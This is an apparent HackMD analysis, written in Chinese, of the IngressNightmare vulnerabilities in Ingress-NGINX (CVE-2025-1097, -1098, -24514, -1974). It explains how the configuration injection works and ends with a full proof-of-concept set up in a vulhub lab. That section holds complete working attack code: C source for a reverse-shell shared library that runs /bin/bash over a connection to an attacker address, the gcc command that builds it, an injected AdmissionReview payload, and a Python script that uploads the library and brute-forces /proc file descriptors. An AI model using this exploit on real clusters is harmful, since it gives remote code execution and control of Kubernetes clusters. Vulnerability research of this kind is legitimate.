---
# System prepended metadata

title: CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告
tags: [CVE Analysis]

---

# CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告

## Overview

Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網，他會接受傳入的流量，並且架接到相關 Kubernetes 服務，那 Kubernetes 服務又會基於一組原則把流量轉發到 POD，總結來說 Ingress-NGINX 是做反向代理的
那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller

## Product Version

- Ingress-NGINX 1.11.5 以下的版本

## Root Cause Analysis

### Remote NGINX Configuration Injection

處理傳入的請求時，Admissin controller 會基於模板跟 ingress 生成臨時的設定文件，並且會使用 nginx -t 測試是否有效

```go=
// testTemplate checks if the NGINX configuration inside the byte array is valid
// running the command "nginx -t" using a temporal file.
func (n *NGINXController) testTemplate(cfg []byte) error {
...
    tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern)
...
    err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser)
...
    out, err := n.command.Test(tmpfile.Name())

func (nc NginxCommand) Test(cfg string) ([]byte, error) {
    //nolint:gosec // Ignore G204 error
    return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput()
}
```

不過通常只有 Kubernetes API 可以發送這一種 request，但因為 admission controller 缺乏驗證，所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送
先使用 Kube-Review 創建 Ingress Resource 的 request，並透過 HTTP 直接傳送到 admission controller

```
{ 
    "kind": "AdmissionReview", 
    "apiVersion": "admission.k8s.io/v1", 
    "request": { 
        "uid": "732536f0-d97e-4c9b-94bf-768953754aee", 
... 
        "name": "example-app", 
        "namespace": "default", 
        "operation": "CREATE", 
... 
        "object": { 
            "kind": "Ingress", 
            "apiVersion": "networking.k8s.io/v1", 
            "metadata": { 
                "name": "example-app", 
                "namespace": "default", 
... 
                "annotations": { 
                    "nginx.ingress.kubernetes.io/backend-protocol": "FCGI" 
                } 
            }, 
            "spec": { 
                "ingressClassName": "nginx", 
                "rules": [ 
                    { 
                        "host": "app.example.com", 
                        "http": { 
                            "paths": [ 
                                { 
                                    "path": "/", 
                                    "pathType": "Prefix", 
                                    "backend": { 
                                        "service": { 
                                            "name": "example-service", 
                                            "port": {} 
                                        } 
                                    } 
                                } 
                            ] 
                        } 
                    } 
                ] 
            }, 
... 
    } 
}
```

可以發現我們可以控制很多部分，並且 annotation parser 會 parse .request.object.annotations 的部分，該部分會被放進去 nginx 的設定文件中，可以用來注入指令

### CVE-2025-24514 – auth-url Annotation Injection

[authreq](https://github.com/kubernetes/ingress-nginx/blob/0ef18ba7fb7ffe5491bbabbb510eee0d17e3ae2a/internal/ingress/annotations/authreq/main.go#L309) parser 負責身分驗證相關的部分，檔案需要設定一個 auth-url，包含一個 url 並且傳送到設定文件中

```go=
func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) {
    // Required Parameters
    urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations)
    if err != nil {
        return nil, err
    }
```

建立臨時設定檔時 $externalAuth.URL，沒有經過驗證即進行合併   

```
proxy_http_version 1.1; 
proxy_set_header Connection ""; 
set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }}; 
{{ else }} 
proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }}; 
set $target {{ $externalAuth.URL }}; 
{{ end }} 
```

像是以下的樣子  

```
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point" 
```

最後請求就會像是

```
... 
proxy_http_version 1.1; 
set $target http://example.com/#; 
injection_point 
proxy_pass $target; 
... 
```

### CVE-2025-1097－auth-tls-match-cn Annotation Injection

問題出在 [authtls](https://github.com/kubernetes/ingress-nginx/blob/main/internal/ingress/annotations/authtls/main.go) parser，處理 auth-tls-match-cn，使用 [CommonNameAnnotationValidator](https://github.com/kubernetes/ingress-nginx/blob/8105f0861fbd69558e58c52f93540c81edad3a4f/internal/ingress/annotations/parser/validators.go#L128) 做驗證

```go=
func CommonNameAnnotationValidator(s string) error { 
    if !strings.HasPrefix(s, "CN=") { 
        return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s) 
    } 
    if _, err := regexp.Compile(s[3:]); err != nil { 
        return fmt.Errorf("value %s is not a valid regex: %w", s, err) 
    } 
    return nil 
} 
```

與 CVE-2025-24514 相似，`$server.CertificateAuth.MatchCN` 對應到 `auth-tls-match-cn`
   
```
if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) { 
    return 403 "client certificate unauthorized"; 
} 
```

嘗試以下設定

```
nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\n }}\nglobal_injection;\n#" 
```

最後設定會像是以下的樣子

```
... 
set $proxy_upstream_name "-";  
if ( $ssl_client_s_dn !~ CN=abc #(  
){} }} 
global_injection;  
# ) {  
return 403 "client certificate unauthorized"; } 
... 
```

為了讓 `auth-tls-match-cn` 出現在設定中，會需要提供 `nginx.ingress.kubernetes.io/auth-tls-secret`，像是對應於 cluster 中存在的TLS 證書或 Keypair Secret，並且由於 ingress nginx 使用的帳戶可以訪問 cluster 的所有 secret，所以可以從任何 namespace 指定 secret，只要跟 TLS 證書或 Keypair Secret 對應即可，除此之外，預設情況有許多受託管的 Kubernetes 都有，例如以下列表

```
kube-system/konnectivity-certs 
kube-system/azure-wi-webhook-server-cert 
kube-system/aws-load-balancer-webhook-tls 
kube-system/hubble-server-certs 
kube-system/cilium-ca 
calico-system/node-certs 
cert-manager/cert-manager-webhook-ca 
linkerd/linkerd-policy-validator-k8s-tls 
linkerd/linkerd-proxy-injector-k8s-tls 
linkerd/linkerd-sp-validator-k8s-tls
```

### CVE-2025-1098 – mirror UID Injection

mirror notation parser，這邊[程式碼](https://github.com/kubernetes/ingress-nginx/blob/bacee47448595e0cf328d420518cde3e1258fe97/internal/ingress/annotations/mirror/main.go#L115)用來處理 UID，並且會插入臨時的 nginx 設定的 [$location.Mirror.Source](https://github.com/kubernetes/ingress-nginx/blob/f32b6dda0545d4e7f72d632d30106ea99a0a1147/rootfs/etc/nginx/template/nginx.tmpl#L1123)，因此可以控制 `ing.UID` 欄位，而這邊是注入在 UID 參數，不是 Kubernetes 註解，所以不適用於 regex 的檢查，會直接被插入設定，所以可以繞過上下文直接 inject 任意設定指令

### CVE-2025-1974 - NGINX Configuration Code Execution

可以繞過路徑限制並訪問未經授權的節點，可以將指令注入 nginx 設定並且透過 nginx -t 測試，因此如果可以在 nginx -t 找到執行任意代碼的指令，就可以破壞 POD 並且拿到高權限的 kubernetes role，不過 nginx 設定只是用來測試所以沒有被實際應用，因此減少實際使用到的指令數量，可用的 nginx 指令如下

![image](https://hackmd.io/_uploads/ry_7zRUIex.png)

而 load\_module(用來加載 share library 的指令)，只能在開頭使用，因此注入 load module 會失敗，那我們可以再查看 ingress nginx controller 有事先 compile 什麼 module([link](https://github.com/kubernetes/ingress-nginx/blob/29513e8564a9a7efd0bf2dfdc86fd2eece190185/images/nginx/rootfs/build.sh#L488))，就會發現 SSL\_Engine 也可以 load share library，那這個指令就可以放在設定的任何地方使用，所以適合我們拿來 inject，所以可以透過在 nginx 測試階段去做 load arbitrary library，因此我們可以再進一步思考要怎麼在 POD 文件系統放置 share library 

### Uploading a shared library with NGINX Client Body Buffers

與 nginx -t 跟 admission controller 相同，POD 會執行 nginx 本身，並且 listen 在 80 或 443 port
處理 request 時，nginx 有時候會將 request 保留到 temporary file( [client body buffering](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size))，這種情況發生於 request size 太大的時候，所以我們可以發送一個較大的 request，包含我們的 payload，這時候就會將 temporary file 存放到 POD 的 file system 文件，不過 nginx 會立即刪除 file，所以不太好利用，但 nginx 會包含一個指向該文件的 descriptor，可以從 [ProcFS](https://docs.kernel.org/filesystems/proc.html) 訪問
為了讓 file descriptor 一直開啟，可以讓 request 的 content-length header 設定大於實際大小，這樣 nginx 就會繼續等待，會導致 nginx 卡住，可以讓 file descriptor 打開更長時間，這個方式的唯一缺點是我們會在另一個 process 創建文件，所以沒辦法使用 /proc/self 訪問，所以只能使用猜測 PID 跟 FD 才可以找到 shared library，但因為這是一個較小的 process 所以可以快速暴力出來

### From Configuration Injection to RCE

所以綜合起來我們可以串起漏洞進行 RCE
1. 透過濫用 nginx client 的 buffer feature 上傳 shared library
2. 向 ingress nginx controller 的 admisstion controller 發送包含 injection payload 的 AdmissionReview request
3. 透過 `ssl\_engine` 可以去 load shared library
4. 指定 ProcFS 到 file descriptor
5. 最後就 load shared library 並且 RCE

## PoC

### 環境建置

可以透過 https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg 架設，但步驟相對複雜且困難，所以使用 vulhub 建置好的 docker images

```yml=
services:
  k3s:
    image: vulhub/ingress-nginx:1.9.5
    privileged: true
    environment:
      - K3S_KUBECONFIG_MODE=666
    ports:
      - 30080:30080
      - 30443:30443
```

shell.c：用來開 reverse shell
因為是用 shared library 的方式，所以要以此編譯

```sh=
gcc -shared -fPIC -o shell.so shell.c
```

```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
__attribute__((constructor)) static void reverse_shell(void){
    char *server_ip = ""; // 填入 IP
    uint32_t server_port = ; // 填入 port
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0){
        exit(1);
    }
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0){
        exit(0);
    }
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    char *args[] = {"/bin/bash", NULL};
    execve("/bin/bash", args, NULL);
}
```

Configuration Injection

參考：https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps/blob/main/nginx-ingress/validate.json

```
admission_json = """
{
   "kind": "AdmissionReview",
   "apiVersion": "admission.k8s.io/v1",
   "request": {
      "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
      "kind": {
         "group": "networking.k8s.io",
         "version": "v1",
         "kind": "Ingress"
      },
      "resource": {
         "group": "networking.k8s.io",
         "version": "v1",
         "resource": "ingresses"
      },
      "requestKind": {
         "group": "networking.k8s.io",
         "version": "v1",
         "kind": "Ingress"
      },
      "requestResource": {
         "group": "networking.k8s.io",
         "version": "v1",
         "resource": "ingresses"
      },
      "name": "minimal-ingress",
      "namespace": "default",
      "operation": "CREATE",
      "userInfo": {
         "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
      },
      "object": {
         "kind": "Ingress",
         "apiVersion": "networking.k8s.io/v1",
         "metadata": {
            "name": "minimal-ingress",
            "namespace": "default",
            "creationTimestamp": null,
            "annotations": {
                "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
            }
         },
         "spec": {
            "ingressClassName": "nginx",
            "rules": [
               {
                  "host": "test.example.com",
                  "http": {
                     "paths": [
                        {
                           "path": "/",
                           "pathType": "Prefix",
                           "backend": {
                              "service": {
                                 "name": "kubernetes",
                                 "port": {
                                    "number": 443
                                 }
                              }
                           }
                        }
                     ]
                  }
               }
            ]
         },
         "status": {
            "loadBalancer": {}
         }
      },
      "oldObject": null,
      "dryRun": true,
      "options": {
         "kind": "CreateOptions",
         "apiVersion": "meta.k8s.io/v1"
      }
   }
}
"""
```

exploit.py

```py=
import base64
import time
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ADMISSION_URL = "https://localhost:30443/networking/v1/ingresses"
INGRESS_URL = "http://localhost:30080/fake/addr"
SHELL_FILE = "shell.so"
NUM_WORKERS = 10

admission_json = """
{
   "kind": "AdmissionReview",
   "apiVersion": "admission.k8s.io/v1",
   "request": {
      "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
      "kind": {
         "group": "networking.k8s.io",
         "version": "v1",
         "kind": "Ingress"
      },
      "resource": {
         "group": "networking.k8s.io",
         "version": "v1",
         "resource": "ingresses"
      },
      "requestKind": {
         "group": "networking.k8s.io",
         "version": "v1",
         "kind": "Ingress"
      },
      "requestResource": {
         "group": "networking.k8s.io",
         "version": "v1",
         "resource": "ingresses"
      },
      "name": "minimal-ingress",
      "namespace": "default",
      "operation": "CREATE",
      "userInfo": {
         "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
      },
      "object": {
         "kind": "Ingress",
         "apiVersion": "networking.k8s.io/v1",
         "metadata": {
            "name": "minimal-ingress",
            "namespace": "default",
            "creationTimestamp": null,
            "annotations": {
                "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
            }
         },
         "spec": {
            "ingressClassName": "nginx",
            "rules": [
               {
                  "host": "test.example.com",
                  "http": {
                     "paths": [
                        {
                           "path": "/",
                           "pathType": "Prefix",
                           "backend": {
                              "service": {
                                 "name": "kubernetes",
                                 "port": {
                                    "number": 443
                                 }
                              }
                           }
                        }
                     ]
                  }
               }
            ]
         },
         "status": {
            "loadBalancer": {}
         }
      },
      "oldObject": null,
      "dryRun": true,
      "options": {
         "kind": "CreateOptions",
         "apiVersion": "meta.k8s.io/v1"
      }
   }
}
"""

def send_request(admission_url, json_data, proc, fd):
    print(f"Trying Proc: {proc}, FD: {fd}")
    path = f"proc/{proc}/fd/{fd}"
    replaced_data = json_data.replace("REPLACE", path)
    headers = {
        "Content-Type": "application/json"
    }
    full_url = admission_url.rstrip("/") + "/admission"
    try:
        response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
        print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"Error on /proc/{proc}/fd/{fd}: {e}")

def admission_brute(admission_url, max_workers=10):
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(30, 50):
            for fd in range(3, 30):
                executor.submit(send_request, admission_url, admission_json, proc, fd)

        for proc in range(160, 180):
            for fd in range(3, 30):
                executor.submit(send_request, admission_url, admission_json, proc, fd)

def exploit(ingress_url, shell_file):
    if not os.path.exists(shell_file):
        print(f"Error: Shell file '{shell_file}' not found")
        sys.exit(1)
    so = open(shell_file, 'rb').read() + b"\x00" * 8092
    real_length = len(so)
    fake_length = real_length + 10
    parsed = urlparse(ingress_url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"
    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"Error connecting to {host}:{port}: {e}")
        sys.exit(1)
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: lufeisec\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode("iso-8859-1")
    sock.sendall(headers + so)
    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    print("[*] Response:")
    print(response.decode(errors="ignore"))
    sock.close()

def main():
    print(f"[*] Using shell file: {SHELL_FILE}")
    print(f"[*] Admission URL: {ADMISSION_URL}")
    print(f"[*] Ingress URL: {INGRESS_URL}")
    print(f"[*] Workers: {NUM_WORKERS}")
    print("[*] Starting exploit...")
    x = threading.Thread(target=exploit, args=(INGRESS_URL, SHELL_FILE))
    x.start()
    time.sleep(2)
    admission_brute(ADMISSION_URL, max_workers=NUM_WORKERS)
if __name__ == "__main__":
    main()
```

![image](https://hackmd.io/_uploads/rkQ84ZOLel.png)

## reference

[https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities](https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities)
[https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg](https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg)
[https://blog.csdn.net/leah126/article/details/147160597](https://blog.csdn.net/leah126/article/details/147160597) 